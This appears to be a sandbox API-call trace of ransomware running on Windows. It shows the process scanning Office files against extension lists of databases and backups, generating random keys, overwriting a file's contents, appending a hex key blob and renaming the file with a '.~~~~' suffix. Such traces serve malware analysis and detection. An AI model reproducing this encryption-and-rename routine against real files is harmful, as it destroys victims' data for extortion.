	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.893] lstrlenW (lpString=".fdb") returned 4
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".fdb") returned 0x0
	[0143.893] lstrlenW (lpString=".bak") returned 4
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".bak") returned 0x0
	[0143.893] lstrlenW (lpString=".myd") returned 4
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".myd") returned 0x0
	[0143.893] lstrlenW (lpString=".DTXS") returned 5
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.893] lstrlenW (lpString=".ckp") returned 4
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".ckp") returned 0x0
	[0143.893] lstrlenW (lpString=".dbt") returned 4
	[0143.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".dbt") returned 0x0
	[0143.894] lstrlenW (lpString=".db") returned 3
	[0143.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".db") returned 0x0
	[0143.894] lstrlenW (lpString=".TXT") returned 4
	[0143.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".TXT") returned 0x0
	[0143.894] lstrlenW (lpString=".MDF") returned 4
	[0143.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".MDF") returned 0x0
	[0143.894] lstrlenW (lpString=".bdb") returned 4
	[0143.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".bdb") returned 0x0
	[0143.894] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0143.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.894] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0143.895] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.895] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0143.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0143.896] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26388583315) returned 1
	[0143.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf2c65f0, dwHighDateTime=0x1d60e1e)) 
	[0143.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0143.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0143.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0143.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac430
	[0143.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac430 | out: hHeap=0x300000) returned 1
	[0143.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28abc90
	[0143.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6b38
	[0143.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abc90 | out: hHeap=0x300000) returned 1
	[0143.897] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0143.897] GetLastError () returned 0x0
	[0143.897] GetLastError () returned 0x0
	[0143.897] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0143.897] GetLastError () returned 0x0
	[0143.897] GetLastError () returned 0x0
	[0143.898] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x46ec, lpOverlapped=0x0) returned 1
	[0143.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffb914, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.900] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x46ec, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x46ec, lpOverlapped=0x0) returned 1
	[0143.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0143.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.901] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.901] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.901] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.901] CloseHandle (hObject=0x114) returned 1
	[0143.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28abc90
	[0143.902] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9f.gif.~~~~")) returned 1
	[0143.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abc90 | out: hHeap=0x300000) returned 1
	[0143.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0143.904] GetLastError () returned 0x0
	[0143.905] RtlWakeConditionVariable () returned 0x0
	[0143.905] GetCurrentThreadId () returned 0x9f4
	[0143.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".scr") returned 0x0
	[0143.905] lstrlenW (lpString=".cmd") returned 4
	[0143.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".cmd") returned 0x0
	[0143.905] lstrlenW (lpString=".dll") returned 4
	[0143.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".dll") returned 0x0
	[0143.905] lstrlenW (lpString=".bat") returned 4
	[0143.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".bat") returned 0x0
	[0143.905] lstrlenW (lpString=".cpl") returned 4
	[0143.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".cpl") returned 0x0
	[0143.905] lstrlenW (lpString=".sys") returned 4
	[0143.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".sys") returned 0x0
	[0143.905] lstrlenW (lpString=".msc") returned 4
	[0143.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".msc") returned 0x0
	[0143.905] lstrlenW (lpString=".com") returned 4
	[0143.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".com") returned 0x0
	[0143.905] lstrlenW (lpString=".lnk") returned 4
	[0143.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".lnk") returned 0x0
	[0143.905] lstrlenW (lpString=".msp") returned 4
	[0143.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".msp") returned 0x0
	[0143.906] lstrlenW (lpString=".pif") returned 4
	[0143.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".pif") returned 0x0
	[0143.906] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0143.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0143.908] lstrlenW (lpString=".sqb") returned 4
	[0143.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".sqb") returned 0x0
	[0143.908] lstrlenW (lpString=".ost") returned 4
	[0143.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".ost") returned 0x0
	[0143.908] lstrlenW (lpString=".txt") returned 4
	[0143.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".txt") returned 0x0
	[0143.908] lstrlenW (lpString=".mdt") returned 4
	[0143.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".mdt") returned 0x0
	[0143.908] lstrlenW (lpString=".BDB") returned 4
	[0143.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".BDB") returned 0x0
	[0143.908] lstrlenW (lpString=".eql") returned 4
	[0143.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".eql") returned 0x0
	[0143.908] lstrlenW (lpString=".DBF") returned 4
	[0143.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".DBF") returned 0x0
	[0143.908] lstrlenW (lpString=".EQL") returned 4
	[0143.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".EQL") returned 0x0
	[0143.908] lstrlenW (lpString=".FDB") returned 4
	[0143.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".FDB") returned 0x0
	[0143.908] lstrlenW (lpString=".EDB") returned 4
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".EDB") returned 0x0
	[0143.909] lstrlenW (lpString=".DACPAC") returned 7
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".DACPAC") returned 0x0
	[0143.909] lstrlenW (lpString=".VHD") returned 4
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".VHD") returned 0x0
	[0143.909] lstrlenW (lpString=".DBV") returned 4
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".DBV") returned 0x0
	[0143.909] lstrlenW (lpString=".dacpac") returned 7
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".dacpac") returned 0x0
	[0143.909] lstrlenW (lpString=".sdf") returned 4
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".sdf") returned 0x0
	[0143.909] lstrlenW (lpString=".accdb") returned 6
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".accdb") returned 0x0
	[0143.909] lstrlenW (lpString=".DBX") returned 4
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".DBX") returned 0x0
	[0143.909] lstrlenW (lpString=".MDT") returned 4
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".MDT") returned 0x0
	[0143.909] lstrlenW (lpString=".SQB") returned 4
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".SQB") returned 0x0
	[0143.909] lstrlenW (lpString=".vhd") returned 4
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".vhd") returned 0x0
	[0143.909] lstrlenW (lpString=".bac") returned 4
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".bac") returned 0x0
	[0143.909] lstrlenW (lpString=".mdf") returned 4
	[0143.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".mdf") returned 0x0
	[0143.910] lstrlenW (lpString=".BAK") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".BAK") returned 0x0
	[0143.910] lstrlenW (lpString=".BAC") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".BAC") returned 0x0
	[0143.910] lstrlenW (lpString=".dbs") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".dbs") returned 0x0
	[0143.910] lstrlenW (lpString=".vhdx") returned 5
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".vhdx") returned 0x0
	[0143.910] lstrlenW (lpString=".NDF") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".NDF") returned 0x0
	[0143.910] lstrlenW (lpString=".dat") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".dat") returned 0x0
	[0143.910] lstrlenW (lpString=".DBS") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".DBS") returned 0x0
	[0143.910] lstrlenW (lpString=".CKP") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".CKP") returned 0x0
	[0143.910] lstrlenW (lpString=".edb") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".edb") returned 0x0
	[0143.910] lstrlenW (lpString=".PST") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".PST") returned 0x0
	[0143.910] lstrlenW (lpString=".dbf") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".dbf") returned 0x0
	[0143.910] lstrlenW (lpString=".SQL") returned 4
	[0143.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".SQL") returned 0x0
	[0143.911] lstrlenW (lpString=".pst") returned 4
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".pst") returned 0x0
	[0143.911] lstrlenW (lpString=".dbv") returned 4
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".dbv") returned 0x0
	[0143.911] lstrlenW (lpString=".SDF") returned 4
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".SDF") returned 0x0
	[0143.911] lstrlenW (lpString=".dtxs") returned 5
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".dtxs") returned 0x0
	[0143.911] lstrlenW (lpString=".db3") returned 4
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".db3") returned 0x0
	[0143.911] lstrlenW (lpString=".OST") returned 4
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".OST") returned 0x0
	[0143.911] lstrlenW (lpString=".dbx") returned 4
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".dbx") returned 0x0
	[0143.911] lstrlenW (lpString=".DB3") returned 4
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".DB3") returned 0x0
	[0143.911] lstrlenW (lpString=".DAT") returned 4
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".DAT") returned 0x0
	[0143.911] lstrlenW (lpString=".VHDX") returned 5
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".VHDX") returned 0x0
	[0143.911] lstrlenW (lpString=".ndf") returned 4
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".ndf") returned 0x0
	[0143.911] lstrlenW (lpString=".DB") returned 3
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".DB") returned 0x0
	[0143.911] lstrlenW (lpString=".sql") returned 4
	[0143.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".sql") returned 0x0
	[0143.912] lstrlenW (lpString=".MYD") returned 4
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".MYD") returned 0x0
	[0143.912] lstrlenW (lpString=".DBT") returned 4
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".DBT") returned 0x0
	[0143.912] lstrlenW (lpString=".ACCDB") returned 6
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".ACCDB") returned 0x0
	[0143.912] lstrlenW (lpString=".fdb") returned 4
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".fdb") returned 0x0
	[0143.912] lstrlenW (lpString=".bak") returned 4
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".bak") returned 0x0
	[0143.912] lstrlenW (lpString=".myd") returned 4
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".myd") returned 0x0
	[0143.912] lstrlenW (lpString=".DTXS") returned 5
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".DTXS") returned 0x0
	[0143.912] lstrlenW (lpString=".ckp") returned 4
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".ckp") returned 0x0
	[0143.912] lstrlenW (lpString=".dbt") returned 4
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".dbt") returned 0x0
	[0143.912] lstrlenW (lpString=".db") returned 3
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".db") returned 0x0
	[0143.912] lstrlenW (lpString=".TXT") returned 4
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".TXT") returned 0x0
	[0143.912] lstrlenW (lpString=".MDF") returned 4
	[0143.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".MDF") returned 0x0
	[0143.912] lstrlenW (lpString=".bdb") returned 4
	[0143.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".bdb") returned 0x0
	[0143.913] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0143.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.913] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0143.914] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.914] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0143.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0143.914] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26390446153) returned 1
	[0143.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf2ec750, dwHighDateTime=0x1d60e1e)) 
	[0143.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0143.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0143.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0143.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac3f8
	[0143.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac3f8 | out: hHeap=0x300000) returned 1
	[0143.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac128
	[0143.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6b38
